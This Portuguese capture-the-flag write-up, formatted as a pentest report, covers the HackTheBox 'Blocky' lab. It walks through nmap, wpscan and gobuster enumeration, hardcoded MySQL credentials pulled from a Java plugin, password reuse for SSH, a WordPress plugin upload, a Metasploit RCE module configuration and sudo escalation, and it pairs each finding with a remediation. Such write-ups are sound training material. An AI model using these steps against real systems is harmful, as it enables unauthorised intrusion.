Explorando Blocky CTF: Um Vetor de Ataque no Minecraft

Explorando Blocky CTF: Um Vetor de Ataque no Minecraft

Esta é uma documentação apresentada pela Behind Security como parte da série da Jornada ao OSCP, focando no Blocky CTF da HackTheBox. A documentação tem forma de um relatório detalhado de pentest.

Blocky CTF Icon

Blocky CTF

Este desafio destaca os perigos das práticas de senhas fracas e a exposição de arquivos internos em um sistema de acesso público. Além disso, ele ressalta um vetor de ataque significativo - Minecraft.

HackTheBox Logo

HackTheBox

O HackTheBox fornece aos indivíduos, empresas e universidades as ferramentas necessárias para melhorar continuamente as suas capacidades de cibersegurança - tudo num só lugar.

Behind Security main logo, cropped.

BEHIND SECURITY

Behind Security é uma plataforma online dedicada a fornecer artigos informativos sobre cibersegurança, privacidade e programação.

Introdução

A Behind Security recebeu a tarefa de realizar um teste de penetração no sistema do Blocky CTF, focando em realizar ataques similares aos de um hacker.

Para poder ter acesso ao sistema, é necessário adicionar uma entrada no arquivo /etc/hosts, conforme mostrado abaixo.

Resumo de Alto Nível

O relatório de teste de penetração conduzido pela Behind Security revelou várias vulnerabilidades e práticas de segurança inadequadas dentro da organização Blocky. Durante a avaliação, foram identificadas as seguintes descobertas-chave:

  1. Credenciais Codificadas: Durante a avaliação, a Behind Security descobriu credenciais codificadas para o usuário root do banco de dados MySQL dentro do código-fonte de um plugin Java. Com essas credenciais, a Behind Security obteve comprometimento completo do banco de dados MySQL.
  2. Reutilização de Senhas: Foi observada a prática de reutilização de senhas, permitindo acesso não autorizado a vários sistemas. É aconselhável implementar uma política robusta de senhas.
  3. Privilégios do Usuário “notch”: O usuário “notch” tinha privilégios sudo irrestritos, o que levou ao comprometimento completo da máquina através de um simples comando sudo su. Rever e restringir adequadamente os privilégios sudo é essencial para evitar o uso indevido.

Metodologias

  1. Coleta de Informações (Reconhecimento): Utilizando técnicas passivas e ativas, reunimos informações relevantes sobre possíveis pontos de entrada.
  2. Avaliação de Vulnerabilidades: Através de uma combinação de ferramentas de varredura automatizadas e análise manual, realizamos uma avaliação exaustiva de vulnerabilidades. A avaliação abrangeu toda a superfície de ataque, incluindo serviços de rede, aplicações web e bancos de dados.
  3. Exploração e Obtenção de Acesso: Com base nas vulnerabilidades identificadas, tentamos explorá-las para obter acesso não autorizado aos sistemas e aplicações. Esta etapa nos permitiu validar a existência e o impacto potencial de cada vulnerabilidade.
  4. Escalada de Privilégios e Movimentação Lateral: Após o acesso inicial bem-sucedido, focamos na escalada de privilégios para elevar nossos privilégios de acesso. Além disso, exploramos o potencial de movimentação lateral dentro da rede interna, simulando cenários do mundo real da progressão de um atacante.
  5. Documentação e Relatório: Detalhes das descobertas, incluindo descrições técnicas, impactos potenciais e evidências de exploração, foram registrados ao longo do processo de teste.

Desafio Independente – 10.10.10.37

Enumeração de Serviços

Endereço IPPortas Abertas
10.10.10.37TCP: 21, 22, 80, 8192, 25565

Para verificar quais portas estão abertas no sistema, Behind Security usou o comando: nmap -sC -sV -T4 -v -p- 10.10.10.37. O resultado está abaixo.

Enumeração do Servidor Web

Os cabeçalhos HTTP do servidor web revelam que sua versão é Apache httpd 2.4.18. Além disso, identificamos a presença de um CMS WordPress em execução no servidor web. Essas descobertas fornecem informações importantes sobre a configuração do sistema e a pilha de software, que serão levadas em consideração durante as fases subsequentes da avaliação.

Enumeração do WordPress

Durante a enumeração da instância do WordPress hospedada no endereço IP 10.10.10.37, a Behind Security identificou com sucesso um usuário válido dentro do CMS. Essa descoberta pode fornecer um possível ponto de entrada para análises e testes adicionais.

Usuário descoberto: notch

Comando: wpscan –url http://blocky.htb/ -e u

Trecho da descoberta:

[+] notch
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://blocky.htb/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

Directory Bruteforcing

A Behind Security realizou um ataque de força bruta em diretórios para obter informações adicionais sobre a estrutura do site. Essa abordagem nos permitiu explorar a árvore de diretórios e descobrir recursos ocultos, fornecendo informações valiosas para uma avaliação mais aprofundada.

Comando: gobuster dir -u http://blocky.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20

Saída do comando:

Hardcoded Credentials

Durante a avaliação, a Behind Security descobriu credenciais codificadas para o usuário root do banco de dados MySQL dentro do plugin BlockyCore.jar, acessível através do link http://blocky.htb/plugins/files/BlockyCore.jar.

Para análise, a Behind Security utilizou a ferramenta Ghidra. O trecho de código fornecido destaca a presença de credenciais codificadas:

Para reproduzir a descoberta, o usuário deve seguir estes passos:

  1. Abrir o Ghidra: Inicie o Ghidra, a ferramenta de análise que utilizaremos para explorar o arquivo BlockyCore.jar.
  2. Criar um Novo Projeto: Crie um novo projeto dentro do Ghidra para organizar sua análise.
  3. Executar o Projeto: Uma vez que o projeto estiver configurado, execute-o para iniciar o processo de análise.
  4. Importar o Arquivo BlockyCore.jar: Importe o arquivo BlockyCore.jar para o projeto. Isso geralmente pode ser feito selecionando “Importar Arquivo” ou uma opção similar dentro da interface do Ghidra.
  5. Detecção da Estrutura do Arquivo: O Ghidra detectará automaticamente a estrutura do arquivo BlockyCore.jar importado, auxiliando na análise.
  6. Acessar o Arquivo BlockyCore.class: A partir da estrutura do arquivo detectada, localize e selecione o arquivo BlockyCore.class para uma análise mais detalhada.
  7. Captura de tela para Referência: Para orientação visual, consulte a captura de tela fornecida, que mostra a seção relevante da análise.

Acesso Inicial – Login SSH

Explicação da Vulnerabilidade: Ao utilizar a mesma senha previamente identificada para o usuário root do banco de dados MySQL, a Behind Security conseguiu fazer login como o usuário “notch” via SSH. Essa descoberta serve como evidência concreta de que credenciais idênticas estavam sendo usadas em vários aplicativos e serviços dentro da organização, representando um alto risco de segurança.

Solução para a Vulnerabilidade: Implementar uma política estrita de senhas que exija senhas únicas para cada sistema, serviço ou aplicativo usado dentro da organização.

Severidade: Crítica

Passos para Reproduzir o Ataque: Faça login via SSH como o usuário “notch”, especificando a senha previamente descoberta para o usuário root do banco de dados MySQL conforme relatado.

Acesso Inicial – RCE Através do Upload e Ativação de um Plugin Vulnerável do WordPress

Explicação da Vulnerabilidade: Durante o projeto, a Behind Security identificou uma vulnerabilidade crítica que permite a um atacante obter execução remota de código (RCE) no sistema. O cenário de ataque envolve explorar a capacidade de fazer upload e ativar um plugin vulnerável na instância do WordPress. Uma vez que o plugin vulnerável é ativado, o atacante pode aproveitar uma vulnerabilidade separada de execução remota de código presente no plugin para executar código arbitrário.

Solução para a Vulnerabilidade: Corrigir as Credenciais Codificadas mencionadas anteriormente.

Severidade: Alta

Passos para Reproduzir o Ataque:

  1. A Behind Security obteve acesso não autorizado ao sistema-alvo, fazendo login com sucesso na instância do phpMyAdmin em http://blocky.htb/phpmyadmin/ e, em seguida, alterou a senha do usuário “notch” do WordPress para “pwned”. Acesse o banco de dados do WordPress e vá para a tabela “wp_users”. Lá, você pode alterar informações sobre os usuários, incluindo a senha. Existe uma ferramenta online disponível para gerar um hash de senha válido do WordPress.
  2. Aproveitando a funcionalidade de upload de plugins dentro do WordPress, a Behind Security fez o upload da versão 3.1.3 do plugin ReFlex Gallery para o sistema e ativou-o. O link direto para download do plugin vulnerável pode ser encontrado aqui.
  3. Em seguida, a Behind Security usou um módulo do Metasploit (unix/webapp/wp_reflexgallery_file_upload) para acionar efetivamente a vulnerabilidade subjacente e obter Execução Remota de Código. A configuração do módulo pode ser encontrada abaixo.
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set RHOSTS 10.10.10.37
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set LHOST tun0
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set VHOST blocky.htb
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > run
Login bem-sucedido no phpMyAdmin.
Login bem-sucedido no WordPress como Notch.

Pós-Exploração

O usuário “notch” possui privilégios sudo irrestritos, concedendo privilégios administrativos completos na máquina. Como resultado, a Behind Security obteve um comprometimento total do sistema com relativa facilidade, utilizando um simples comando “sudo su“. Essa escalada bem-sucedida de privilégios demonstra a importância crítica de gerenciar corretamente o acesso ao sudo para evitar que usuários não autorizados obtenham controle extensivo sobre o sistema. Ação imediata deve ser tomada para revisar e restringir os privilégios do sudo para o usuário “notch” e outros usuários, a fim de aumentar a segurança geral e mitigar possíveis explorações.

Prova de Exploração: user.txt CENSURADO
Prova de Exploração: root.txt CENSURADO

Conclusão

Esperamos que você tenha encontrado nosso conteúdo sobre o Blocky CTF útil e convidamos você a explorar mais do nosso site para descobrir outros tópicos interessantes que cobrimos. Desde segurança cibernética até programação, buscamos fornecer aos nossos leitores as informações mais recentes e relevantes que podem ajudá-los a se manter informados e à frente do mercado. Estamos comprometidos em oferecer a melhor experiência ao usuário e estamos abertos a feedback e sugestões por meio de nosso formulário de contato. Obrigado por escolher a Behind Security, esperamos vê-lo novamente em breve!

Rolar para cima